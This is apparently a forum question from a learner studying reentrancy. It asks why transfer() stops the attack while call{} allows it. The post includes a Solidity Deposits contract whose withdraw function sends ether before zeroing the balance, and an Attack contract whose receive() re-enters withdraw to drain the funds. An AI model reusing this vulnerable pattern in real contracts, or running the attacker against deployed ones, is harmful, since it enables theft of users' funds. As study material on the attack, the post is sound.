I was trying to learn reentrancy attacks and how to save the contracts against them. I previously user address.transfer() to withdraw the amount, but the function reverted when performing the attack. When I replaced it with address.call{}(), the contract worked fine. Any idea why is that?
Code:
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "hardhat/console.sol";
contract Deposits{
mapping(address => uint256) public userBalance;
function deposit() public payable {
require(msg.value >= 1 ether);
userBalance[msg.sender] += msg.value;
}
function withdraw() public {
require(userBalance[msg.sender] > 0, "Amount error");
console.log("1");
// payable(msg.sender).transfer(userBalance[msg.sender]);
(bool sent, ) = msg.sender.call{value: userBalance[msg.sender]}("");
require(sent, "Not sent");
userBalance[msg.sender] = 0;
}
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}
contract Attack {
Deposits public deposit;
constructor(address _contract) {
deposit = Deposits(_contract);
}
receive() external payable {
if(address(deposit).balance > 0) {
deposit.withdraw();
}
}
function attack() public payable {
require(msg.value >= 1 ether);
deposit.deposit{value: msg.value}();
deposit.withdraw();
}
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}